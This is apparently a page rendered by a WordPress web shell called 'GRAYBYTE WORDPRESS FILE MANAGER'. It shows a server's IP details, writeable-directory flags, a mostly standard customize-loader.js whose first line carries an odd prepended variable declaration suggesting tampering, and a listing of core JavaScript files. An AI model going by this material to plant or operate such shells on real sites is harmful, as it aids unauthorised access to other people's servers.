$94 GRAYBYTE WORDPRESS FILE MANAGER $58

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bqrcodec/.trash/wp-includes/js/

HOME
Current File : /home/bqrcodec/.trash/wp-includes/js//customize-loader.js
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;/**
 * @output wp-includes/js/customize-loader.js
 */

/* global _wpCustomizeLoaderSettings */

/**
 * Expose a public API that allows the customizer to be
 * loaded on any page.
 *
 * @namespace wp
 */
window.wp = window.wp || {};

(function( exports, $ ){
	var api = wp.customize,
		Loader;

	$.extend( $.support, {
		history: !! ( window.history && history.pushState ),
		hashchange: ('onhashchange' in window) && (document.documentMode === undefined || document.documentMode > 7)
	});

	/**
	 * Allows the Customizer to be overlayed on any page.
	 *
	 * By default, any element in the body with the load-customize class will open
	 * an iframe overlay with the URL specified.
	 *
	 *     e.g. <a class="load-customize" href="<?php echo wp_customize_url(); ?>">Open Customizer</a>
	 *
	 * @memberOf wp.customize
	 *
	 * @class
	 * @augments wp.customize.Events
	 */
	Loader = $.extend( {}, api.Events,/** @lends wp.customize.Loader.prototype */{
		/**
		 * Setup the Loader; triggered on document#ready.
		 */
		initialize: function() {
			this.body = $( document.body );

			// Ensure the loader is supported.
			// Check for settings, postMessage support, and whether we require CORS support.
			if ( ! Loader.settings || ! $.support.postMessage || ( ! $.support.cors && Loader.settings.isCrossDomain ) ) {
				return;
			}

			this.window  = $( window );
			this.element = $( '<div id="customize-container" />' ).appendTo( this.body );

			// Bind events for opening and closing the overlay.
			this.bind( 'open', this.overlay.show );
			this.bind( 'close', this.overlay.hide );

			// Any element in the body with the `load-customize` class opens
			// the Customizer.
			$('#wpbody').on( 'click', '.load-customize', function( event ) {
				event.preventDefault();

				// Store a reference to the link that opened the Customizer.
				Loader.link = $(this);
				// Load the theme.
				Loader.open( Loader.link.attr('href') );
			});

			// Add navigation listeners.
			if ( $.support.history ) {
				this.window.on( 'popstate', Loader.popstate );
			}

			if ( $.support.hashchange ) {
				this.window.on( 'hashchange', Loader.hashchange );
				this.window.triggerHandler( 'hashchange' );
			}
		},

		popstate: function( e ) {
			var state = e.originalEvent.state;
			if ( state && state.customize ) {
				Loader.open( state.customize );
			} else if ( Loader.active ) {
				Loader.close();
			}
		},

		hashchange: function() {
			var hash = window.location.toString().split('#')[1];

			if ( hash && 0 === hash.indexOf( 'wp_customize=on' ) ) {
				Loader.open( Loader.settings.url + '?' + hash );
			}

			if ( ! hash && ! $.support.history ) {
				Loader.close();
			}
		},

		beforeunload: function () {
			if ( ! Loader.saved() ) {
				return Loader.settings.l10n.saveAlert;
			}
		},

		/**
		 * Open the Customizer overlay for a specific URL.
		 *
		 * @param string src URL to load in the Customizer.
		 */
		open: function( src ) {

			if ( this.active ) {
				return;
			}

			// Load the full page on mobile devices.
			if ( Loader.settings.browser.mobile ) {
				return window.location = src;
			}

			// Store the document title prior to opening the Live Preview.
			this.originalDocumentTitle = document.title;

			this.active = true;
			this.body.addClass('customize-loading');

			/*
			 * Track the dirtiness state (whether the drafted changes have been published)
			 * of the Customizer in the iframe. This is used to decide whether to display
			 * an AYS alert if the user tries to close the window before saving changes.
			 */
			this.saved = new api.Value( true );

			this.iframe = $( '<iframe />', { 'src': src, 'title': Loader.settings.l10n.mainIframeTitle } ).appendTo( this.element );
			this.iframe.one( 'load', this.loaded );

			// Create a postMessage connection with the iframe.
			this.messenger = new api.Messenger({
				url: src,
				channel: 'loader',
				targetWindow: this.iframe[0].contentWindow
			});

			// Expose the changeset UUID on the parent window's URL so that the customized state can survive a refresh.
			if ( history.replaceState ) {
				this.messenger.bind( 'changeset-uuid', function( changesetUuid ) {
					var urlParser = document.createElement( 'a' );
					urlParser.href = location.href;
					urlParser.search = $.param( _.extend(
						api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
						{ changeset_uuid: changesetUuid }
					) );
					history.replaceState( { customize: urlParser.href }, '', urlParser.href );
				} );
			}

			// Wait for the connection from the iframe before sending any postMessage events.
			this.messenger.bind( 'ready', function() {
				Loader.messenger.send( 'back' );
			});

			this.messenger.bind( 'close', function() {
				if ( $.support.history ) {
					history.back();
				} else if ( $.support.hashchange ) {
					window.location.hash = '';
				} else {
					Loader.close();
				}
			});

			// Prompt AYS dialog when navigating away.
			$( window ).on( 'beforeunload', this.beforeunload );

			this.messenger.bind( 'saved', function () {
				Loader.saved( true );
			} );
			this.messenger.bind( 'change', function () {
				Loader.saved( false );
			} );

			this.messenger.bind( 'title', function( newTitle ){
				window.document.title = newTitle;
			});

			this.pushState( src );

			this.trigger( 'open' );
		},

		pushState: function ( src ) {
			var hash = src.split( '?' )[1];

			// Ensure we don't call pushState if the user hit the forward button.
			if ( $.support.history && window.location.href !== src ) {
				history.pushState( { customize: src }, '', src );
			} else if ( ! $.support.history && $.support.hashchange && hash ) {
				window.location.hash = 'wp_customize=on&' + hash;
			}

			this.trigger( 'open' );
		},

		/**
		 * Callback after the Customizer has been opened.
		 */
		opened: function() {
			Loader.body.addClass( 'customize-active full-overlay-active' ).attr( 'aria-busy', 'true' );
		},

		/**
		 * Close the Customizer overlay.
		 */
		close: function() {
			var self = this, onConfirmClose;
			if ( ! self.active ) {
				return;
			}

			onConfirmClose = function( confirmed ) {
				if ( confirmed ) {
					self.active = false;
					self.trigger( 'close' );

					// Restore document title prior to opening the Live Preview.
					if ( self.originalDocumentTitle ) {
						document.title = self.originalDocumentTitle;
					}
				} else {

					// Go forward since Customizer is exited by history.back().
					history.forward();
				}
				self.messenger.unbind( 'confirmed-close', onConfirmClose );
			};
			self.messenger.bind( 'confirmed-close', onConfirmClose );

			Loader.messenger.send( 'confirm-close' );
		},

		/**
		 * Callback after the Customizer has been closed.
		 */
		closed: function() {
			Loader.iframe.remove();
			Loader.messenger.destroy();
			Loader.iframe    = null;
			Loader.messenger = null;
			Loader.saved     = null;
			Loader.body.removeClass( 'customize-active full-overlay-active' ).removeClass( 'customize-loading' );
			$( window ).off( 'beforeunload', Loader.beforeunload );
			/*
			 * Return focus to the link that opened the Customizer overlay after
			 * the body element visibility is restored.
			 */
			if ( Loader.link ) {
				Loader.link.focus();
			}
		},

		/**
		 * Callback for the `load` event on the Customizer iframe.
		 */
		loaded: function() {
			Loader.body.removeClass( 'customize-loading' ).attr( 'aria-busy', 'false' );
		},

		/**
		 * Overlay hide/show utility methods.
		 */
		overlay: {
			show: function() {
				this.element.fadeIn( 200, Loader.opened );
			},

			hide: function() {
				this.element.fadeOut( 200, Loader.closed );
			}
		}
	});

	// Bootstrap the Loader on document#ready.
	$( function() {
		Loader.settings = _wpCustomizeLoaderSettings;
		Loader.initialize();
	});

	// Expose the API publicly on window.wp.customize.Loader.
	api.Loader = Loader;
})( wp, jQuery );

Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
18 Mar 2026 5.50 AM
bqrcodec / bqrcodec
0755
codemirror
--
2 Apr 2024 10.05 PM
bqrcodec / bqrcodec
0755
crop
--
2 Apr 2024 10.05 PM
bqrcodec / bqrcodec
0755
dist
--
2 Apr 2024 10.05 PM
bqrcodec / bqrcodec
0755
imgareaselect
--
2 Apr 2024 10.05 PM
bqrcodec / bqrcodec
0755
jcrop
--
2 Apr 2024 10.05 PM
bqrcodec / bqrcodec
0755
jquery
--
26 Jan 2024 1.04 PM
bqrcodec / bqrcodec
0755
mediaelement
--
2 Apr 2024 10.05 PM
bqrcodec / bqrcodec
0755
plupload
--
2 Apr 2024 10.05 PM
bqrcodec / bqrcodec
0755
swfupload
--
2 Apr 2024 10.05 PM
bqrcodec / bqrcodec
0755
tinymce
--
2 Apr 2024 10.05 PM
bqrcodec / bqrcodec
0755
wp-site
--
18 Mar 2026 5.50 AM
bqrcodec / bqrcodec
0755
api-request.js
3.321 KB
31 Mar 2024 4.27 PM
bqrcodec / bqrcodec
0444
api-request.min.js
1.074 KB
31 Mar 2024 4.06 PM
bqrcodec / bqrcodec
0444
autosave.js
22.024 KB
31 Mar 2024 4.41 PM
bqrcodec / bqrcodec
0444
autosave.min.js
5.746 KB
31 Mar 2024 4.17 PM
bqrcodec / bqrcodec
0444
backbone.js
77.948 KB
31 Mar 2024 4.26 PM
bqrcodec / bqrcodec
0444
backbone.min.js
23.649 KB
31 Mar 2024 4.23 PM
bqrcodec / bqrcodec
0444
colorpicker.js
28.477 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
colorpicker.min.js
16.205 KB
31 Mar 2024 4.05 PM
bqrcodec / bqrcodec
0444
comment-reply.js
12.24 KB
31 Mar 2024 4.17 PM
bqrcodec / bqrcodec
0444
comment-reply.min.js
2.986 KB
31 Mar 2024 4.37 PM
bqrcodec / bqrcodec
0444
customize-base.js
25.292 KB
31 Mar 2024 4.27 PM
bqrcodec / bqrcodec
0444
customize-base.min.js
7.743 KB
31 Mar 2024 4.06 PM
bqrcodec / bqrcodec
0444
customize-loader.js
7.794 KB
31 Mar 2024 4.37 PM
bqrcodec / bqrcodec
0444
customize-loader.min.js
3.543 KB
31 Mar 2024 4.12 PM
bqrcodec / bqrcodec
0444
customize-models.js
6.736 KB
31 Mar 2024 4.27 PM
bqrcodec / bqrcodec
0444
customize-models.min.js
3.67 KB
31 Mar 2024 4.21 PM
bqrcodec / bqrcodec
0444
customize-preview-nav-menus.js
14.747 KB
31 Mar 2024 4.32 PM
bqrcodec / bqrcodec
0444
customize-preview-nav-menus.min.js
4.995 KB
31 Mar 2024 4.18 PM
bqrcodec / bqrcodec
0444
customize-preview-widgets.js
22.783 KB
31 Mar 2024 4.22 PM
bqrcodec / bqrcodec
0444
customize-preview-widgets.min.js
7.717 KB
31 Mar 2024 4.13 PM
bqrcodec / bqrcodec
0444
customize-preview.js
27.38 KB
31 Mar 2024 4.32 PM
bqrcodec / bqrcodec
0444
customize-preview.min.js
10.528 KB
31 Mar 2024 4.38 PM
bqrcodec / bqrcodec
0444
customize-selective-refresh.js
32.626 KB
31 Mar 2024 4.06 PM
bqrcodec / bqrcodec
0444
customize-selective-refresh.min.js
10.517 KB
31 Mar 2024 4.33 PM
bqrcodec / bqrcodec
0444
customize-views.js
5.021 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
customize-views.min.js
2.469 KB
31 Mar 2024 4.26 PM
bqrcodec / bqrcodec
0444
heartbeat.js
23.466 KB
31 Mar 2024 4.29 PM
bqrcodec / bqrcodec
0444
heartbeat.min.js
5.947 KB
31 Mar 2024 4.42 PM
bqrcodec / bqrcodec
0444
hoverIntent.js
7.131 KB
31 Mar 2024 4.36 PM
bqrcodec / bqrcodec
0444
hoverIntent.min.js
1.539 KB
31 Mar 2024 4.42 PM
bqrcodec / bqrcodec
0444
hoverintent-js.min.js
1.753 KB
31 Mar 2024 4.21 PM
bqrcodec / bqrcodec
0444
imagesloaded.min.js
5.466 KB
31 Mar 2024 4.07 PM
bqrcodec / bqrcodec
0444
mce-view.js
25.318 KB
31 Mar 2024 4.33 PM
bqrcodec / bqrcodec
0444
mce-view.min.js
9.616 KB
31 Mar 2024 4.23 PM
bqrcodec / bqrcodec
0444
media-audiovideo.js
24.521 KB
31 Mar 2024 4.11 PM
bqrcodec / bqrcodec
0444
media-audiovideo.min.js
11.93 KB
31 Mar 2024 4.13 PM
bqrcodec / bqrcodec
0444
media-editor.js
28.512 KB
31 Mar 2024 4.05 PM
bqrcodec / bqrcodec
0444
media-editor.min.js
10.705 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
media-grid.js
26.309 KB
31 Mar 2024 4.18 PM
bqrcodec / bqrcodec
0444
media-grid.min.js
13.102 KB
31 Mar 2024 4.07 PM
bqrcodec / bqrcodec
0444
media-models.js
42.843 KB
31 Mar 2024 4.14 PM
bqrcodec / bqrcodec
0444
media-models.min.js
13.096 KB
31 Mar 2024 4.22 PM
bqrcodec / bqrcodec
0444
media-views.js
265.124 KB
31 Mar 2024 4.15 PM
bqrcodec / bqrcodec
0444
media-views.min.js
107.769 KB
31 Mar 2024 4.28 PM
bqrcodec / bqrcodec
0444
shortcode.js
10.581 KB
31 Mar 2024 4.25 PM
bqrcodec / bqrcodec
0444
shortcode.min.js
2.656 KB
24 Mar 2024 3.39 PM
bqrcodec / bqrcodec
0444
swfobject.js
10.066 KB
24 Mar 2024 3.40 PM
bqrcodec / bqrcodec
0444
twemoji.js
32.389 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
twemoji.min.js
15.459 KB
31 Mar 2024 4.05 PM
bqrcodec / bqrcodec
0444
underscore.js
66.846 KB
31 Mar 2024 4.31 PM
bqrcodec / bqrcodec
0444
underscore.min.js
18.467 KB
31 Mar 2024 4.26 PM
bqrcodec / bqrcodec
0444
wp-ajax-response.js
3.759 KB
31 Mar 2024 4.42 PM
bqrcodec / bqrcodec
0444
wp-ajax-response.min.js
2.458 KB
31 Mar 2024 4.12 PM
bqrcodec / bqrcodec
0444
wp-auth-check.js
4.184 KB
31 Mar 2024 4.23 PM
bqrcodec / bqrcodec
0444
wp-auth-check.min.js
1.694 KB
31 Mar 2024 4.18 PM
bqrcodec / bqrcodec
0444
wp-backbone.js
14.958 KB
31 Mar 2024 4.38 PM
bqrcodec / bqrcodec
0444
wp-backbone.min.js
3.043 KB
31 Mar 2024 4.37 PM
bqrcodec / bqrcodec
0444
wp-custom-header.js
10.295 KB
31 Mar 2024 4.42 PM
bqrcodec / bqrcodec
0444
wp-custom-header.min.js
4.413 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
wp-embed-template.js
6.695 KB
31 Mar 2024 4.17 PM
bqrcodec / bqrcodec
0444
wp-embed-template.min.js
3.175 KB
31 Mar 2024 4.41 PM
bqrcodec / bqrcodec
0444
wp-embed.js
3.214 KB
31 Mar 2024 4.23 PM
bqrcodec / bqrcodec
0444
wp-embed.min.js
1.297 KB
31 Mar 2024 4.21 PM
bqrcodec / bqrcodec
0444
wp-emoji-loader.js
12.304 KB
31 Mar 2024 4.11 PM
bqrcodec / bqrcodec
0444
wp-emoji-loader.min.js
2.994 KB
31 Mar 2024 4.16 PM
bqrcodec / bqrcodec
0444
wp-emoji-release.min.js
18.329 KB
31 Mar 2024 4.11 PM
bqrcodec / bqrcodec
0444
wp-emoji.js
8.834 KB
31 Mar 2024 4.17 PM
bqrcodec / bqrcodec
0444
wp-emoji.min.js
2.897 KB
31 Mar 2024 4.18 PM
bqrcodec / bqrcodec
0444
wp-list-revisions.js
1.022 KB
24 Mar 2024 3.41 PM
bqrcodec / bqrcodec
0444
wp-list-revisions.min.js
0.658 KB
31 Mar 2024 4.38 PM
bqrcodec / bqrcodec
0444
wp-pointer.js
10.068 KB
31 Mar 2024 4.41 PM
bqrcodec / bqrcodec
0444
wp-pointer.min.js
3.611 KB
31 Mar 2024 4.09 PM
bqrcodec / bqrcodec
0444
wp-sanitize.js
1.394 KB
24 Mar 2024 3.42 PM
bqrcodec / bqrcodec
0444
wp-sanitize.min.js
0.522 KB
31 Mar 2024 4.33 PM
bqrcodec / bqrcodec
0444

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF